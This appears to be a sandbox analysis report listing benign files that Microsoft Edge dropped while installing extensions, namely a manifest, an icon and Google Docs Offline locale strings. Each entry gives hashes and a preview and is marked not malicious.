Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1327794400\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8148_837431167\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir8148_837431167\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8148_837431167\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir8148_837431167\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir8148_837431167\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8148_837431167\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir8148_837431167\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir8148_837431167\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir8148_837431167\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8148_837431167\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8148_837431167\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8148_837431167\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8148_837431167\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir8148_837431167\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir8148_837431167\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8148_837431167\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8148_837431167\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
